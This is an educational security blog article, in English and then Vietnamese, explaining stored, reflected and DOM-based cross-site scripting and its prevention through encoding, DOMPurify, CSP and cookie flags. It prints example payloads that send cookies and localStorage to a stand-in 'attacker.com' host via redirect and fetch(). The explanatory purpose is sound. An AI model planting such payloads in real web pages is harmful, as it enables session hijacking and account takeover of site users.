What is XSS? Cross-Site Scripting Attacks and Prevention
Security

What is XSS? Cross-Site Scripting Attacks and Prevention

XSS (Cross-Site Scripting) is an OWASP A03:2021 vulnerability that lets attackers inject malicious scripts into web pages, stealing cookies, hijacking accounts, or redirecting users. Learn about 3 XSS types, example payloads, and prevention with CSP and HTML encoding.

In this series: Bảo mật
  1. 1 What is Malware? Classification, Characteristics, and Prevention
  2. 2 What is DDoS? Signs, Response and Effective Prevention Methods
  3. 3 What is Phishing? Recognizing and Preventing Online Fraud
  4. 4 What is DNS Sinkhole? Applications and How to Use DNS Sinkhole Technique
  5. 5 What is OAuth 2.0? Authorization and Login with Google/GitHub
  6. 6 What is a Trojan? Essential Information About Trojan Malware
  7. 7 What Is Zero Trust? The 'Never Trust, Always Verify' Security Model
  8. 8 What is VPN? Virtual Private Network, WireGuard and OpenVPN
  9. 9 What Is MFA? Multi-Factor Authentication vs 2FA Explained
  10. 10 What is a Firewall? Role and Functions in Network Security
  11. 11 What is SQL Injection? Database Attacks and Prevention
  12. 12 What is XSS? Cross-Site Scripting Attacks and Prevention
✦ Quick summary
XSS (Cross-Site Scripting) is an OWASP A03:2021 vulnerability that lets attackers inject malicious scripts into web pages, stealing cookies, hijacking accounts, or redirecting users. Learn about 3 XSS...
How was this post?

XSS — Cross-Site Scripting — is one of the most common and dangerous web vulnerabilities, ranked in OWASP Top 10 A03:2021 (Injection). Unlike SQL Injection, which attacks the database directly, XSS targets the users of a website: the attacker injects malicious scripts into page content, those scripts run in the victim's browser, and can steal cookies, hijack accounts, or perform actions on behalf of the user.

What is XSS? OWASP A03:2021

Cross-Site Scripting (XSS) is a vulnerability that occurs when a web application accepts user-supplied data and includes it in a web page without proper validation or encoding. As a result, another user's browser executes the script the attacker injected, believing it to be a legitimate part of the website.

The name "Cross-Site" originated from the initial mechanism: the script runs on the victim website's domain (e.g., bank.com), not the attacker's domain. This allows the script to bypass the Same-Origin Policy because it is treated as belonging to bank.com. The browser trusts and executes the script with full permissions of that domain — including reading cookies, localStorage, and making requests to APIs.

Difference from SQL Injection:

XSS SQL Injection
Attacks users Attacks the database
Script runs in victim's browser Query runs on the database server
Impact: session theft, redirect, phishing Impact: data leakage, table deletion, login bypass
Prevention: HTML encoding, CSP Prevention: Prepared statements, input validation

Both fall under the Injection category in OWASP A03:2021 — both stem from failing to properly handle untrusted input data.

3 Types of XSS

Stored XSS (Persistent XSS)

This is the most dangerous type. The malicious script is stored in the server's database (comments, profile names, posts) and is served to all users who view that content.

HTML
1<!-- Attacker posts a comment: -->
2<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
3<!-- Every user who views the article gets redirected and their cookie is sent to the attacker -->

Why is it dangerous? The attacker only needs to act once — every user who views the page afterward becomes a victim. The scope can be very broad: thousands of users affected by a single comment.

Reflected XSS (Non-Persistent XSS)

The script is embedded in a URL request and is "reflected" back in the server response without being stored in the database. It only affects users who click on the malicious link.

https://example.com/search?q=<script>alert(document.cookie)</script>
<!-- Server returns: "You searched for: <script>..." — script runs in victim's browser -->

Attackers typically distribute the link via email or messages (phishing). User clicks → request sent to server → server returns script in response → browser executes it.

DOM-based XSS

Unlike Stored and Reflected XSS, DOM-based XSS occurs entirely on the client side — the malicious script never reaches the server. The vulnerability lies in client-side JavaScript that reads data from an untrusted source (URL fragment, document.referrer, localStorage) and writes it directly to the DOM.

JavaScript
1// VULNERABLE — reads hash fragment directly into the DOM
2document.getElementById('output').innerHTML = location.hash.slice(1);
3// Attacker: https://example.com/#<img src=x onerror=alert(1)>

The fragment (#...) is not sent to the server, so server-side validation cannot detect it. This is why DOM-based XSS is harder to detect with conventional scanning tools.

Understanding the full attack chain helps you properly assess the severity of XSS:

Step 1 — Inject script: The attacker finds an input field that is not sanitized (comment box, profile name, URL parameter) and injects a payload:

JavaScript
 1<script>
 2  fetch('https://attacker.com/steal', {
 3    method: 'POST',
 4    body: JSON.stringify({
 5      cookie: document.cookie,
 6      url: window.location.href,
 7      localStorage: JSON.stringify(localStorage)
 8    })
 9  });
10</script>

Step 2 — Victim triggers it: A regular user visits the page containing the injected script. The browser believes this is a legitimate script belonging to the page and executes it immediately.

Step 3 — Cookie theft: document.cookie returns all cookies for the domain (except HttpOnly ones). The script sends the cookies to the attacker's server via fetch(). This request looks like a normal request — hard to distinguish from legitimate traffic.

Step 4 — Session hijacking: The attacker receives the session cookie. They set that cookie in their browser and access the application as the victim. The server sees no difference — the session token is valid.

Step 5 — Account takeover: With session access, the attacker can change email, change password, transfer funds, or escalate privileges — depending on the victim account's permissions.

This entire chain happens in seconds, fully automated, and the victim notices nothing unusual.

Prevention Code

Preventing XSS requires multiple layers: output encoding, HTML sanitization, and Content Security Policy.

JavaScript
 1// 1. HTML encoding — escape before rendering into HTML
 2function escapeHTML(str) {
 3  return str
 4    .replace(/&/g, '&amp;')
 5    .replace(/</g, '&lt;')
 6    .replace(/>/g, '&gt;')
 7    .replace(/"/g, '&quot;')
 8    .replace(/'/g, '&#x27;');
 9}
10
11// 2. DOMPurify — when you need to render HTML (rich text editor)
12import DOMPurify from 'dompurify';
13const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['b', 'i', 'a', 'p'] });
14element.innerHTML = clean;
15
16// 3. React — safe by default, dangerous opt-in
17// SAFE:
18const SafeComponent = ({ userInput }) => <div>{userInput}</div>;
19// UNSAFE — sanitize first:
20const UnsafeComponent = ({ userHtml }) => (
21  <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />
22);
nginx
1# 4. CSP Header (Nginx)
2add_header Content-Security-Policy "
3  default-src 'self';
4  script-src 'self';
5  style-src 'self' 'unsafe-inline';
6  img-src 'self' data: https:;
7  connect-src 'self';
8  frame-ancestors 'none';
9";

Explaining CSP directives:

  • default-src 'self' — by default, only allow resources from the same origin
  • script-src 'self' — only scripts from the same domain, blocks inline and external scripts
  • frame-ancestors 'none' — blocks clickjacking (replaces X-Frame-Options: DENY)

When CSP is configured strictly, even if an attacker injects a script, the browser will refuse to execute it because the script does not come from an allowed source.

Cookie flags are an important additional defense layer, minimizing damage even when XSS occurs:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HttpOnly — The cookie cannot be read by JavaScript (document.cookie returns an empty string for this cookie). An attacker who injects a script still cannot retrieve the session cookie. This is the most important defense against cookie theft via XSS.

Secure — The cookie is only sent over HTTPS. Prevents sniffing on unencrypted networks and man-in-the-middle attacks between browser and server.

SameSite=Strict — The cookie is only sent when the request originates from the same site. Blocks CSRF attacks and reduces the effectiveness of some XSS + CSRF combos. SameSite=Lax (the modern default) allows top-level navigation but blocks cross-site subrequests.

Note: HttpOnly is not a perfect solution. Attackers can still use XSS to make requests on behalf of the user without reading the cookie (e.g., calling a money transfer API). You need to combine CSRF tokens and SameSite cookies for comprehensive protection.

How Frameworks Protect Against XSS

Modern frameworks integrate XSS protection through a "safe by default" mechanism:

React — JSX automatically escapes all expressions: <div>{userInput}</div> is completely safe because React converts < to &lt;. The dangerous opt-out API is dangerouslySetInnerHTML — named intentionally to warn developers.

Vue — Template syntax {{ userInput }} escapes automatically. The opt-out API is the v-html directive: <div v-html="userInput"> — not safe if userInput contains user-supplied HTML.

Angular — Template interpolation {{ userInput }} escapes automatically. The opt-out API is bypassSecurityTrustHtml() in DomSanitizer — must be called explicitly to bypass sanitization.

General rule: Any API with "dangerous", "unsafe", or "trust" in its name is an opt-out from XSS protection. Always sanitize with DOMPurify before passing HTML to these APIs:

JavaScript
1// Correct for all frameworks
2const safeHtml = DOMPurify.sanitize(untrustedHtml, {
3  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
4  ALLOWED_ATTR: ['href', 'title', 'target']
5});

OWASP XSS Prevention Cheat Sheet

OWASP defines XSS prevention rules according to the context in which data is inserted into HTML:

Rule #1 — HTML Body: Always HTML encode before inserting untrusted data into the HTML body. Minimum encoding: &, <, >, ", ', /. Framework rendering does this automatically.

Rule #2 — HTML Attributes: When inserting into HTML attributes, use attribute encoding. Example: <input value="[USER_DATA]"> — encode all special characters, not just < and >. Best practice is to always use quoted attributes.

Rule #3 — Never insert untrusted data into: script blocks (<script>[DATA]</script>), event handlers (<button onclick="[DATA]">), CSS (<style>[DATA]</style>), or URL attributes (<a href="[DATA]">). These are dangerous contexts requiring special handling — HTML encoding alone is not sufficient.

See the full reference at OWASP XSS Prevention Cheat Sheet — the standard reference for web security.


What is SQL Injection? Database Attacks Explained

What is Phishing? Recognize and Prevent Scams

What is SSL?

XSS — Cross-Site Scripting — là một trong những lỗ hổng web phổ biến và nguy hiểm nhất, được xếp hạng trong OWASP Top 10 A03:2021 (Injection). Không giống SQL Injection tấn công trực tiếp vào database, XSS nhắm vào người dùng của trang web: attacker chèn script độc hại vào nội dung trang, script đó chạy trong trình duyệt của nạn nhân và có thể đánh cắp cookie, chiếm tài khoản, hoặc thực hiện hành động thay người dùng.

XSS là gì? OWASP A03:2021

Cross-Site Scripting (XSS) là lỗ hổng xảy ra khi ứng dụng web nhận dữ liệu từ người dùng và đưa dữ liệu đó vào trang web mà không kiểm tra hoặc encode đúng cách. Kết quả là trình duyệt của người dùng khác sẽ thực thi đoạn script mà attacker đã chèn vào, tin rằng đó là một phần hợp lệ của trang web.

Tên "Cross-Site" (xuyên trang) xuất phát từ cơ chế ban đầu: script chạy trên domain của website nạn nhân (ví dụ bank.com), không phải domain của attacker. Điều này giúp script vượt qua Same-Origin Policy vì nó được coi là thuộc về bank.com. Trình duyệt tin tưởng và thực thi script với toàn quyền của domain đó — bao gồm đọc cookie, localStorage, thực hiện request đến API.

Điểm khác biệt với SQL Injection:

XSS SQL Injection
Tấn công người dùng Tấn công database
Script chạy trong trình duyệt nạn nhân Query chạy trên database server
Hậu quả: đánh cắp session, redirect, phishing Hậu quả: rò rỉ dữ liệu, xóa bảng, bypass login
Phòng chống: HTML encoding, CSP Phòng chống: Prepared statement, input validation

SQL Injection là gì? Tấn công cơ sở dữ liệu

Cả hai đều thuộc nhóm Injection trong OWASP A03:2021 — đều do không xử lý đúng dữ liệu đầu vào không tin cậy.

3 loại XSS

Stored XSS (Persistent XSS)

Đây là loại nguy hiểm nhất. Script độc hại được lưu vào database của server (comment, tên profile, bài đăng) và được phục vụ cho tất cả người dùng xem nội dung đó.

HTML
1<!-- Attacker post comment: -->
2<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
3<!-- Mọi user xem bài viết đều bị redirect + cookie bị gửi về attacker -->

Tại sao nguy hiểm? Attacker chỉ cần thực hiện một lần — mọi người dùng xem trang sau đó đều là nạn nhân. Phạm vi có thể rất rộng: hàng nghìn user bị ảnh hưởng từ một comment duy nhất.

Reflected XSS (Non-Persistent XSS)

Script nằm trong URL request và được server "phản chiếu" lại trong response mà không lưu vào database. Chỉ ảnh hưởng khi nạn nhân click vào link độc hại.

https://example.com/search?q=<script>alert(document.cookie)</script>
<!-- Server trả kết quả: "Bạn tìm: <script>..." — script chạy trong browser nạn nhân -->

Attacker thường gửi link qua email, tin nhắn (phishing). Người dùng click → request gửi đến server → server trả về script trong response → trình duyệt thực thi.

Phishing là gì? Nhận diện và phòng chống lừa đảo

DOM-based XSS

Khác với Stored và Reflected XSS, DOM-based XSS xảy ra hoàn toàn phía client — script độc hại không bao giờ đến server. Lỗ hổng nằm trong JavaScript client-side đọc dữ liệu từ nguồn không tin cậy (URL fragment, document.referrer, localStorage) và ghi trực tiếp vào DOM.

JavaScript
1// VULNERABLE — đọc hash fragment trực tiếp vào DOM
2document.getElementById('output').innerHTML = location.hash.slice(1);
3// Attacker: https://example.com/#<img src=x onerror=alert(1)>

Fragment (#...) không được gửi lên server nên server-side validation không phát hiện được. Đây là lý do DOM-based XSS khó phát hiện hơn bằng các công cụ quét thông thường.

Hiểu rõ toàn bộ chuỗi tấn công giúp bạn đánh giá đúng mức độ nghiêm trọng của XSS:

Bước 1 — Inject script: Attacker tìm input field không được sanitize (comment box, tên profile, URL parameter) và chèn payload:

JavaScript
 1<script>
 2  fetch('https://attacker.com/steal', {
 3    method: 'POST',
 4    body: JSON.stringify({
 5      cookie: document.cookie,
 6      url: window.location.href,
 7      localStorage: JSON.stringify(localStorage)
 8    })
 9  });
10</script>

Bước 2 — Nạn nhân kích hoạt: Người dùng bình thường truy cập trang chứa script đã bị inject. Trình duyệt tin đây là script hợp lệ của trang và thực thi ngay.

Bước 3 — Cookie theft: document.cookie trả về toàn bộ cookie của domain (ngoại trừ HttpOnly). Script gửi cookie đến server của attacker qua fetch(). Yêu cầu này trông như một request thông thường — khó phân biệt với legitimate traffic.

Bước 4 — Session hijacking: Attacker nhận được session cookie. Họ set cookie đó vào trình duyệt của mình và truy cập ứng dụng với tư cách nạn nhân. Server không biết sự khác biệt — session token hợp lệ.

Bước 5 — Account takeover: Từ quyền truy cập session, attacker có thể đổi email, đổi password, rút tiền, hoặc leo thang đặc quyền — tùy vào quyền của tài khoản nạn nhân.

Toàn bộ chuỗi này xảy ra trong vài giây, hoàn toàn tự động, và nạn nhân không nhận ra bất kỳ điều gì bất thường.

Code phòng chống

Phòng chống XSS cần nhiều lớp: encoding đầu ra, sanitization HTML, và Content Security Policy.

JavaScript
 1// 1. HTML encoding — escape trước khi render vào HTML
 2function escapeHTML(str) {
 3  return str
 4    .replace(/&/g, '&amp;')
 5    .replace(/</g, '&lt;')
 6    .replace(/>/g, '&gt;')
 7    .replace(/"/g, '&quot;')
 8    .replace(/'/g, '&#x27;');
 9}
10
11// 2. DOMPurify — khi cần render HTML (rich text editor)
12import DOMPurify from 'dompurify';
13const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['b', 'i', 'a', 'p'] });
14element.innerHTML = clean;
15
16// 3. React — safe by default, dangerous opt-in
17// SAFE:
18const SafeComponent = ({ userInput }) => <div>{userInput}</div>;
19// UNSAFE — sanitize first:
20const UnsafeComponent = ({ userHtml }) => (
21  <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />
22);
nginx
1# 4. CSP Header (Nginx)
2add_header Content-Security-Policy "
3  default-src 'self';
4  script-src 'self';
5  style-src 'self' 'unsafe-inline';
6  img-src 'self' data: https:;
7  connect-src 'self';
8  frame-ancestors 'none';
9";

Giải thích CSP directives:

  • default-src 'self' — mặc định chỉ cho phép tài nguyên từ cùng origin
  • script-src 'self' — chỉ script từ cùng domain, chặn inline script và external script
  • frame-ancestors 'none' — chặn clickjacking (thay thế X-Frame-Options: DENY)

Khi CSP được thiết lập chặt chẽ, ngay cả khi attacker inject được script, trình duyệt sẽ từ chối thực thi vì script không đến từ nguồn được phép.

Cookie flags là lớp phòng thủ bổ sung quan trọng, giảm thiệt hại ngay cả khi XSS xảy ra:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HttpOnly — Cookie không thể đọc bằng JavaScript (document.cookie trả về chuỗi rỗng cho cookie này). Attacker inject được script vẫn không lấy được session cookie. Đây là biện pháp phòng thủ quan trọng nhất chống cookie theft qua XSS.

Secure — Cookie chỉ được gửi qua HTTPS. Ngăn chặn sniffing trên mạng không mã hóa và man-in-the-middle giữa trình duyệt và server.

SameSite=Strict — Cookie chỉ được gửi khi request xuất phát từ cùng site. Chặn CSRF attacks và giảm hiệu quả của một số XSS + CSRF combo. SameSite=Lax (giá trị mặc định hiện đại) cho phép top-level navigation nhưng chặn cross-site subrequest.

Lưu ý: HttpOnly không phải giải pháp hoàn hảo. Attacker có thể dùng XSS để thực hiện request thay người dùng mà không cần đọc cookie (ví dụ: gọi API chuyển tiền). Cần kết hợp CSRF token và SameSite cookie để bảo vệ toàn diện.

Framework tự bảo vệ thế nào

Các framework hiện đại đã tích hợp XSS protection theo cơ chế "safe by default":

React — JSX tự động escape tất cả biểu thức: <div>{userInput}</div> an toàn tuyệt đối vì React convert < thành &lt;. API opt-out nguy hiểm là dangerouslySetInnerHTML — tên đặt cố ý để cảnh báo developer.

Vue — Template syntax {{ userInput }} escape tự động. API opt-out là v-html directive: <div v-html="userInput"> — không an toàn nếu userInput chứa HTML từ user.

Angular — Template interpolation {{ userInput }} escape tự động. API opt-out là bypassSecurityTrustHtml() trong DomSanitizer — cần gọi tường minh để bỏ qua sanitization.

Quy tắc chung: Bất kỳ API nào có từ "dangerous", "unsafe", hoặc "trust" trong tên đều là opt-out khỏi XSS protection. Luôn sanitize bằng DOMPurify trước khi truyền HTML vào các API này:

JavaScript
1// Đúng với mọi framework
2const safeHtml = DOMPurify.sanitize(untrustedHtml, {
3  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
4  ALLOWED_ATTR: ['href', 'title', 'target']
5});

OWASP XSS Prevention Cheat Sheet

OWASP định nghĩa các rule phòng chống XSS theo ngữ cảnh chèn dữ liệu vào HTML:

Rule #1 — HTML Body: Luôn HTML encode trước khi chèn dữ liệu không tin cậy vào HTML body. Encode tối thiểu: &, <, >, ", ', /. Framework rendering tự làm điều này.

Rule #2 — HTML Attribute: Nếu chèn vào HTML attribute, dùng attribute encoding. Ví dụ: <input value="[USER_DATA]"> — encode toàn bộ ký tự đặc biệt, không chỉ <>. Tốt nhất là dùng quoted attributes.

Rule #3 — Không bao giờ chèn dữ liệu chưa tin cậy vào: script blocks (<script>[DATA]</script>), event handlers (<button onclick="[DATA]">), CSS (<style>[DATA]</style>), URL attributes (<a href="[DATA]">). Đây là các context nguy hiểm cần xử lý đặc biệt, không phải chỉ HTML encode là đủ.

Xem đầy đủ tại OWASP XSS Prevention Cheat Sheet — tài liệu tham khảo chuẩn cho bảo mật web.

SSL là gì?